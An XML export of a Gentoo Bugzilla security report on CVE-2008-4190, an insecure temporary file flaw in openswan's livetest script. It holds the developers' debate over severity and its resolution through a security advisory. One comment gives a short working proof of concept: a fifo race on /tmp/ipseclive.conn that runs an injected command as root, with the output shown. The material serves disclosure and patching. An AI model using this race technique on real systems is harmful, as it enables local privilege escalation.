<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "http://bugs.gentoo.org/bugzilla.dtd">

<bugzilla version="2.22.7"
          urlbase="http://bugs.gentoo.org/"
          maintainer="bugzilla@gentoo.org"
>

    <bug>
          <bug_id>238574</bug_id>
          <alias>CVE-2008-4190</alias>
          <creation_ts>2008-09-24 15:41 0000</creation_ts>
          <short_desc>net-misc/openswan livetest Insecure temporary file creation (CVE-2008-4190)</short_desc>
          <delta_ts>2009-03-09 13:59:44 0000</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>Gentoo Security</product>
          <component>Vulnerabilities</component>
          <version>unspecified</version>
          <rep_platform>All</rep_platform>
          <op_sys>Linux</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          <bug_file_loc>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4190</bug_file_loc>
          <status_whiteboard>B2 [glsa]</status_whiteboard>
          
          <priority>P2</priority>
          <bug_severity>minor</bug_severity>
          <target_milestone>---</target_milestone>
          
          <blocked>235770</blocked>
          
          <everconfirmed>1</everconfirmed>
          <reporter>rbu@gentoo.org</reporter>
          <assigned_to>security@gentoo.org</assigned_to>
          <cc>mrness@gentoo.org</cc>

      

      
          <long_desc isprivate="0">
            <who>rbu@gentoo.org</who>
            <bug_when>2008-09-24 15:41:44 0000</bug_when>
            <thetext>CVE-2008-4190 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-4190):
  The IPSEC livetest tool in Openswan 2.4.4 and earlier allows local
  users to overwrite arbitrary files and execute arbitrary code via a
  symlink attack on the (1) ipseclive.conn and (2)
  ipsec.olts.remote.log temporary files.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>mrness@gentoo.org</who>
            <bug_when>2008-09-24 22:26:01 0000</bug_when>
            <thetext>Version 2.4.4 is quite ancient. Currently the oldest version available in our tree is 2.4.11.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>rbu@gentoo.org</who>
            <bug_when>2008-09-24 22:43:09 0000</bug_when>
            <thetext>I did not verify, but it is well possible that version is also affected. If you can, please help there.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>mrness@gentoo.org</who>
            <bug_when>2008-10-12 16:47:32 0000</bug_when>
            <thetext>I&apos;ve removed this useless livetest script from versions 2.4.13-r1 and 2.6.18.

However, I doubt it is a valid security issue because:
  a) cannot be triggered remotely
  b) the host known as 192.168.0.1 by local machine must be controlled by the attacker (or at least its web service)
  c) you need to trick the root user into running &quot;ipsec livetest&quot;
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>craig@gentoo.org</who>
            <bug_when>2008-10-12 20:16:13 0000</bug_when>
            <thetext>It is extremely unlikely that this will ever be exploited in the wild, but it&apos;s still a security issue (though a rather theoretical one).</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>mrness@gentoo.org</who>
            <bug_when>2008-10-12 21:48:21 0000</bug_when>
            <thetext>Created an attachment (id=168208)
livetest script took from version 2.6.16

I&apos;m not saying that the insecure temp file handling is a non-issue, I&apos;m just saying this particular case is a non-issue. Let&apos;s analyse this script, shall we?

a) Since openswan daemon will not run this in any circumstance, this script must be executed by the user, through &quot;ipsec livetest&quot; command. However, the first thing that the script will do is identity checking through command &quot;id -u&quot;; if you are not root, it will do nothing.

b) Let&apos;s suppose you can trick user into running that command. wget will not override the output file, instead it will add a numeric suffix to the provided -O argument, in order to save the content into a new file.

c) What indeed is possible is that a local user could create a malicious /tmp /ipseclive.conn script and wait patiently for the superuser to run the livetest. But since this command is not documented anywhere (let alone that is pretty useless without the proper web application running on 192.168.0.1), I doubt it will ever do that.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>craig@gentoo.org</who>
            <bug_when>2008-11-07 03:16:11 0000</bug_when>
            <thetext>This is a potentional root exploit:

As user:
mkfifo /tmp/ipseclive.conn
cat /tmp/ipseclive.conn; echo id &gt; /tmp/ipseclive.conn

Then, on an other terminal:
wget &quot;https://bugs.gentoo.org/attachment.cgi?id=168208&quot; -O livetest

Forgive the output, I do not have ipsec installed on this box:

[craig@nuw ~]$ sudo sh livetest
ikeping......
would do ikeping
livetest: line 32: ipsec: command not found
livetest: line 35: ipsec: command not found
uid=0(root) gid=0(root) Gruppen=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video),35(games),414(vmware)
livetest: line 42: ipsec: command not found
livetest: line 44: ipsec: command not found

cat waits for the input from wget to the fifo and after it received it, you immediately echo your command into the fifo which was empty again and viola, it gets executed, because the sh binary needs a few milliseconds to get loaded, it&apos;s a typical race condition.

You&apos;re right of course, it&apos;s very unlikely to be exploited, because you need a local account and must trick root into running the script, but in my opinion it&apos;s still a minor security issue.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>craig@gentoo.org</who>
            <bug_when>2008-11-07 22:08:49 0000</bug_when>
            <thetext>CVE-2008-4966 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-4966):
  linux-patch-openswan 2.4.12 allows local users to overwrite arbitrary
  files via a symlink attack on (a) /tmp/snap##### and (b)
  /tmp/nightly##### temporary files, related to the (1) maysnap and (2)
  maytest scripts.

</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>craig@gentoo.org</who>
            <bug_when>2008-11-07 22:11:56 0000</bug_when>
            <thetext>Let&apos;s handle that bug here, too.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>craig@gentoo.org</who>
            <bug_when>2008-12-01 18:03:40 0000</bug_when>
            <thetext>Alin, was this fixed in 2.4.13-r1?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>mrness@gentoo.org</who>
            <bug_when>2008-12-03 23:00:55 0000</bug_when>
            <thetext>(In reply to comment #6)

I didn&apos;t said it cannot be exploited locally, I said it is highly unlikely (like one case in a billion, when the victim really doesn&apos;t know what he is doing) that someone will get bitten by this bug (see comment #5 point c). 

(In reply to comment #7 to #9)
&gt; Alin, was this fixed in 2.4.13-r1?

openswan-2.6.13-r1 doesn&apos;t install any file called mysnap or mytest.
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>craig@gentoo.org</who>
            <bug_when>2009-01-08 23:44:23 0000</bug_when>
            <thetext>Thanks! :)
Ready to vote, I vote NO.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>rbu@gentoo.org</who>
            <bug_when>2009-01-08 23:55:21 0000</bug_when>
            <thetext>Shouldn&apos;t this be B2 if it allows an attacker to trick someone into executing code?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>craig@gentoo.org</who>
            <bug_when>2009-01-09 00:13:21 0000</bug_when>
            <thetext>D&apos;oh. Of course.
I just read the topic, scrolled down fast, saw &quot;symlink&quot;, the CVE, B3... forgot about and overread the code exec.

Good to see other people are watching...

Changing whiteboard accordingly and going to bed in order not create more fuckup on bugzilla (at least) this night... ;(</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>py@gentoo.org</who>
            <bug_when>2009-01-11 18:17:35 0000</bug_when>
            <thetext>request filed.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>rbu@gentoo.org</who>
            <bug_when>2009-03-09 13:59:15 0000</bug_when>
            <thetext>GLSA 200903-17</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>rbu@gentoo.org</who>
            <bug_when>2009-03-09 13:59:44 0000</bug_when>
            <thetext>sorry, GLSA 200903-18</thetext>
          </long_desc>
      
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>168208</attachid>
            <date>2008-10-12 21:48 0000</date>
            <desc>livetest script took from version 2.6.16</desc>
            <filename>livetest</filename>
            <type>text/plain</type>
            <data encoding="base64">IyEvYmluL3NoCgojIENvcHlyaWdodCAoQykgMjAwNCAgTWljaGFlbCBSaWNoYXJkc29uCTxtY3JA
eGVsZXJhbmNlLmNvbT4KIyAKIyBUaGlzIHByb2dyYW0gaXMg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